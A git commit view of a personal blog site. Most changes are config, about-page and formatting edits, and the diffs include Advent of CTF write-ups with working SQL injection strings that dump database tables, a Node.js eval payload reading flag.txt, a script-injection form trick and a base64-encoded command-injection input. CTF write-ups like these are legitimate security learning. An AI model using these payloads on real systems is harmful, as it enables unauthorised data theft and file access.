35 Commits
Author SHA1 Message Date
maik 9da5c9936a fix: show active on dark theme 2026-08-08 20:21:40 +02:00
maik ba1077b0c8 feat: improve pagination 2026-08-08 18:37:45 +02:00
maik 7997a5b895 Update home subtitle 2026-08-07 00:28:04 +02:00
maik 6756fb5af6 Update about page 2026-08-06 23:21:24 +02:00
maik 3e078bf55f Remove wallet from footer 2026-08-06 23:21:13 +02:00
maik fab68f78fb Fix use max height instead of height 2025-01-05 02:09:50 +01:00
maik af3694f0ef Add a ToC that is always visible on desktop 2025-01-05 02:02:52 +01:00
maik 46c6f9037e Fix indentation 2025-01-05 01:13:00 +01:00
maik 31a552963f Fix link color on dark mode 2025-01-05 01:12:49 +01:00
maik a2dc744551 Add act3-elf-stack writeup 2025-01-04 18:10:47 +01:00
maik 868c11507c Improve table layout 2025-01-04 18:10:28 +01:00
maik 6fa9f7b09f Fix linting and formatting issues 2025-01-04 13:03:35 +01:00
maik cc261d6aaa Add styling for h5 and h6 2025-01-04 12:50:03 +01:00
maik 5487b22a4f Fix looks of nested code block in collapse 2025-01-04 12:45:02 +01:00
maik 631eb1219a Add act3-santa-vision writeup 2025-01-04 03:46:44 +01:00
maik d3b327afc0 Fix border radius and add padding so code visible with copy button 2025-01-04 03:39:51 +01:00
maik 0fe3cf6682 Fix highlight's incorrect top border on collapse 2025-01-04 03:39:14 +01:00
maik 1dbbb4a325 Make covers more colorful 2025-01-04 01:04:06 +01:00
maik e0e562be5e Fix hidden class, set display none to be important 2025-01-04 01:00:02 +01:00
maik 844ad3b9ac Add act2-microsoft-kc7 writeup 2025-01-04 00:16:02 +01:00
maik 6242a1f876 Fix w3 validation errors 2025-01-03 22:04:15 +01:00
maik 201ba2ef75 Add copy code block functionality 2025-01-03 22:03:55 +01:00
maik 2c9eef4749 Fix hamburger menu not being centered 2025-01-03 22:03:17 +01:00
maik 0f2d9a4dc1 Properly support line numbers on highlight 2025-01-03 20:44:46 +01:00
maik 8513bd9ac5 Fix border 2025-01-03 20:44:23 +01:00
maik 990640b79a Improve highlight color 2025-01-03 20:44:06 +01:00
maik e4dffe1d19 Add act2-snowball-showdown writeup 2025-01-03 16:15:06 +01:00
maik db9373b9f8 Add act2-powershell writeup 2025-01-03 16:14:33 +01:00
maik bfd686f940 Fix blockquote quote location on mobile 2025-01-02 12:32:18 +01:00
maik 2ef57de694 Add act2-drone-path writeup 2025-01-02 01:48:23 +01:00
maik c76df05651 Add act2-mobile-analysis writeup 2025-01-01 15:18:42 +01:00
maik 195def9964 Add more elf messages 2024-12-31 16:47:26 +01:00
maik 7edaf1993f Add act1-hardware-hacking part 2 writeup 2024-12-31 16:25:15 +01:00
maik 1a201a554a Improve table looks 2024-12-31 16:24:51 +01:00
maik f11331d900 Slightly improve x shift 2024-12-31 13:52:36 +01:00
139 changed files with 8634 additions and 500 deletions
Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 634 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 586 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 607 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 564 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 607 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 548 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 493 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 506 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 582 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 135 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 601 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 685 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 315 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 525 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 81 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 572 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 538 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 627 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 533 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 560 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 541 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 316 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.9 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.7 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 947 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 978 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 982 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 972 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 925 KiB

+11 -5
View File
@@ -40,6 +40,12 @@ page = ["HTML", "RSS"]
[pagination] [pagination]
pagerSize = 12 pagerSize = 12
[markup]
[markup.tableOfContents]
endLevel = 4
ordered = true
startLevel = 2
[params] [params]
dateform = "Jan 2, 2006" dateform = "Jan 2, 2006"
dateformShort = "Jan 2" dateformShort = "Jan 2"
@@ -49,7 +55,7 @@ dateformMonth = "Jan, 2006"
# Metadata mostly used in document's head # Metadata mostly used in document's head
description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff." description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
keywords = "Devloper, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif" keywords = "Developer, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
images = [""] images = [""]
genre = "Blog" genre = "Blog"
@@ -58,7 +64,7 @@ rssLimit = 15
showReadingTimeInList = false showReadingTimeInList = false
homeSubtitle = "Software Engineering, Linux and Cyber Security" homeSubtitle = "Software Engineer and Cyber Security Specialist"
# Prefix of link to the git commit detail page. GitInfo must be enabled. # Prefix of link to the git commit detail page. GitInfo must be enabled.
gitUrl = "https://github.com/maikka39/Personal-Website/commit/" gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
@@ -125,9 +131,9 @@ image = "/img/home/portrait.png"
twitter = "@maik_dev" twitter = "@maik_dev"
# Wallets # Wallets
[[params.wallets]] # [[params.wallets]]
name = "XMR" # name = "XMR"
address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi" # address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
# Social icons # Social icons
[[params.social]] [[params.social]]
+3 -6
View File
@@ -2,7 +2,7 @@
author = "Maik de Kruif" author = "Maik de Kruif"
title = "About" title = "About"
date = 2021-11-19T12:26:01+01:00 date = 2021-11-19T12:26:01+01:00
description = "Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it." description = "I’m a passionate coder with a strong foundation in programming. With a love for solving practical problems through software development, I am driven to continuously explore new ways to create innovative solutions. My personal side-projects and exploration of cybersecurity further enhance my skills and dedication to building powerful and impactful applications."
images = [] images = []
tags = [ tags = [
"aboutme", "aboutme",
@@ -10,12 +10,9 @@ tags = [
categories = [ categories = [
"me", "me",
] ]
toc = false
+++ +++
Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it. Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
Outside of my job, I run a small business with a couple of friends where we develop drone shows. I'm responsible for both designing and writing the control software as well as creating and designing the actual drones. When I get home after work, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. Occasionally, I can also be found working on electronics projects. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
When I get home after work/school, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
Skills/Interests: Python, Java, Scala, JavaScript, Node, CSS, HTML, Git, SQL, MongoDB, Apache, Nginx, Docker.
+11 -11
View File
@@ -20,22 +20,22 @@ We respect the privacy of our visitors. We collect only such personal informatio
If you visit our website to browse, read, or download information: If you visit our website to browse, read, or download information:
- Your web browser automatically sends us (and we may retain) information such as the: - Your web browser automatically sends us (and we may retain) information such as the:
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school); - Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet Protocol address of the computer you are using; - Internet Protocol address of the computer you are using;
- type of browser software and operating system you are using; - type of browser software and operating system you are using;
- date and time you access our site; and - date and time you access our site; and
- the Internet address of the site from which you linked directly to our site. - the Internet address of the site from which you linked directly to our site.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful. - We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will not use this information to identify individuals, except for site security or law enforcement purposes. - We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information. - We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
## Other Information We Collect ## Other Information We Collect
If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms: If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy. - We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request. - If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
## How Long We Keep Information ## How Long We Keep Information
@@ -23,7 +23,7 @@ aliases = [
] ]
+++ +++
- Points: 1 - Points: 1
## Description ## Description
@@ -23,7 +23,7 @@ aliases = [
] ]
+++ +++
- Points: 100 - Points: 100
## Description ## Description
@@ -23,7 +23,7 @@ aliases = [
] ]
+++ +++
- Points: 1000 - Points: 1000
## Description ## Description
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 1100 - Points: 1100
## Description ## Description
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 1200 - Points: 1200
## Description ## Description
@@ -38,13 +38,13 @@ Upon opening the challenge website we're greeted with an input field and a check
```js ```js
function send() { function send() {
let place = $("#place")[0].value; let place = $("#place")[0].value;
if (place.length > 0) { if (place.length > 0) {
$.post("/", { place: place }, function (data) { $.post("/", { place: place }, function (data) {
$("#result")[0].innerHTML = "<b>" + data + "</b>"; $("#result")[0].innerHTML = "<b>" + data + "</b>";
}); });
} }
return false; return false;
} }
``` ```
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 1400 - Points: 1400
## Description ## Description
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 1500 - Points: 1500
## Description ## Description
@@ -88,12 +88,12 @@ I came up with the following code:
```html ```html
<script> <script>
setTimeout(() => { setTimeout(() => {
let flagInput = document.getElementById("flag"); let flagInput = document.getElementById("flag");
flagInput.name = "flag[]"; flagInput.name = "flag[]";
flagInput.value = "hi"; flagInput.value = "hi";
flagInput.form.submit(); flagInput.form.submit();
}, 1000); }, 1000);
</script> </script>
``` ```
@@ -25,7 +25,7 @@ aliases = [
] ]
+++ +++
- Points: 1800 - Points: 1800
## Description ## Description
@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:
```js ```js
function send() { function send() {
let calc = $("#calc")[0].value; let calc = $("#calc")[0].value;
if (calc.length > 0) { if (calc.length > 0) {
$.ajax({ $.ajax({
url: "/calc", url: "/calc",
type: "POST", type: "POST",
data: '{"calc": "' + calc + '" }', data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8", contentType: "application/json; charset=utf-8",
dataType: "json", dataType: "json",
}).always(function (data) { }).always(function (data) {
text = data; text = data;
if (data.responseText) { if (data.responseText) {
text = data.responseText; text = data.responseText;
} }
$("#msg")[0].innerHTML = "<b>" + text + "</b>"; $("#msg")[0].innerHTML = "<b>" + text + "</b>";
}); });
} }
} }
``` ```
@@ -68,7 +68,7 @@ If we capture the request with a proxy like Burp, we can see it sends a `POST` r
```json ```json
{ {
"calc": "3+4" "calc": "3+4"
} }
``` ```
@@ -96,7 +96,7 @@ A NodeJS Express server often has a `res` variable to which the request result i
```json ```json
{ {
"calc": "res" "calc": "res"
} }
``` ```
@@ -112,7 +112,7 @@ The resulting request:
```json ```json
{ {
"calc": "require('fs').readdirSync('.')" "calc": "require('fs').readdirSync('.')"
} }
``` ```
@@ -126,7 +126,7 @@ Now that we know the location of the flag (`flag.txt`), we can use the `readFile
```json ```json
{ {
"calc": "require('fs').readFileSync('flag.txt')" "calc": "require('fs').readFileSync('flag.txt')"
} }
``` ```
@@ -25,7 +25,7 @@ aliases = [
] ]
+++ +++
- Points: 1900 - Points: 1900
## Description ## Description
@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:
```js ```js
function send() { function send() {
let calc = $("#calc")[0].value; let calc = $("#calc")[0].value;
if (calc.length > 0) { if (calc.length > 0) {
$.ajax({ $.ajax({
url: "/calc", url: "/calc",
type: "POST", type: "POST",
data: '{"calc": "' + calc + '" }', data: '{"calc": "' + calc + '" }',
contentType: "application/json; charset=utf-8", contentType: "application/json; charset=utf-8",
dataType: "json", dataType: "json",
}).always(function (data) { }).always(function (data) {
text = data; text = data;
if (data.responseText) { if (data.responseText) {
text = data.responseText; text = data.responseText;
} }
$("#msg")[0].innerHTML = "<b>" + text + "</b>"; $("#msg")[0].innerHTML = "<b>" + text + "</b>";
}); });
} }
} }
``` ```
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 200 - Points: 200
## Description ## Description
@@ -25,7 +25,7 @@ aliases = [
] ]
+++ +++
- Points: 2000 - Points: 2000
## Description ## Description
@@ -41,12 +41,12 @@ If we take a look at the source, we also find a bit of javascript:
```js ```js
function send() { function send() {
let emoji = $("#emoji")[0].value; let emoji = $("#emoji")[0].value;
if (emoji.length > 0) { if (emoji.length > 0) {
$.post("/", { emoji: emoji }, function (data) { $.post("/", { emoji: emoji }, function (data) {
$("#msg")[0].innerHTML = "<b>" + data + "</b>"; $("#msg")[0].innerHTML = "<b>" + data + "</b>";
}); });
} }
} }
``` ```
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 2100 - Points: 2100
## Description ## Description
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 2300 - Points: 2300
## Description ## Description
@@ -40,21 +40,23 @@ If we take a look at the source, we also find a bit of javascript:
```js ```js
$(function () { $(function () {
var socket = io(); var socket = io();
$("form").submit(function () { $("form").submit(function () {
socket.emit("chat message", { message: $("#m").val() }); socket.emit("chat message", { message: $("#m").val() });
$("#m").val(""); $("#m").val("");
return false; return false;
}); });
socket.on("chat message", function (msg) { socket.on("chat message", function (msg) {
console.log(msg.command); console.log(msg.command);
if (msg.command === "code") { if (msg.command === "code") {
$("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>")); $("#messages").append(
} else { $("<li>").html("<pre>" + msg.message + "</pre>")
$("#messages").append($("<li>").text(msg.message)); );
} } else {
window.scrollTo(0, document.body.scrollHeight); $("#messages").append($("<li>").text(msg.message));
}); }
window.scrollTo(0, document.body.scrollHeight);
});
}); });
``` ```
@@ -108,8 +110,8 @@ Because the code tries to read `msg.command`, let's try adding a command to the
```js ```js
socket.emit("chat message", { socket.emit("chat message", {
message: "Hello", message: "Hello",
command: "ls", command: "ls",
}); });
``` ```
@@ -197,8 +199,8 @@ Lyc7IGNhdCAnL2ZsYWcudHh0⏎
```js ```js
socket.emit("chat message", { socket.emit("chat message", {
message: "Lyc7IGNhdCAnL2ZsYWcudHh0", message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
command: "execute", command: "execute",
}); });
``` ```
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 300 - Points: 300
## Description ## Description
@@ -46,18 +46,18 @@ To find this funtion, enter `checkPass` in the devtools console and click on the
```js ```js
function checkPass() { function checkPass() {
var username = document.getElementById("username").value; var username = document.getElementById("username").value;
var password = document.getElementById("password").value; var password = document.getElementById("password").value;
var novi = "-NOVI"; var novi = "-NOVI";
if (password == btoa(username + novi)) { if (password == btoa(username + novi)) {
window.setTimeout(function () { window.setTimeout(function () {
window.location.assign( window.location.assign(
"inde" + "x.php?username=" + username + "&password=" + password "inde" + "x.php?username=" + username + "&password=" + password
); );
}, 500); }, 500);
} }
} }
``` ```
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 500 - Points: 500
## Description ## Description
@@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn
## Solution ## Solution
Firstly, I tried to use `' OR 1=1 -- ` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' -- ` for the username, the password doesn't matter. Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
The resulting query would be this: The resulting query would be this:
@@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works
### Getting the database ### Getting the database
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `. This results into the following query: As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
```sql ```sql
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`='' FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
@@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1 SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
``` ```
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ` Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_ _Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
@@ -187,7 +187,7 @@ A sub-query for columns could be the following:
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1 SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
``` ```
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ` Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which gives us (with other `LIMIT` as well): Which gives us (with other `LIMIT` as well):
@@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
SELECT username from users limit 0,1 SELECT username from users limit 0,1
``` ```
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- ` Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
We get: We get:
@@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
UNION SELECT table_name, 2, 3 FROM information_schema.tables UNION SELECT table_name, 2, 3 FROM information_schema.tables
``` ```
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this: The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
```sql ```sql
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
@@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
UNION SELECT (SELECT * FROM flags), 2, 3 UNION SELECT (SELECT * FROM flags), 2, 3
``` ```
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `. This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`. After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
@@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
``` ```
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `. Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
After remove the results from the original query, we get the following: After remove the results from the original query, we get the following:
@@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters. The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input. This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
After parsing the output we get: After parsing the output we get:
@@ -24,7 +24,7 @@ aliases = [
] ]
+++ +++
- Points: 700 - Points: 700
## Description ## Description
@@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
SELECT why FROM naughty WHERE why LIKE '%search text%'; SELECT why FROM naughty WHERE why LIKE '%search text%';
``` ```
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 -- ` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 -- `. If this would be inserted inside the query we would get this: If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
```sql ```sql
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %'; SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
``` ```
If we input this (`' OR 1=1 -- `) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}` If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8). This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
@@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
``` ```
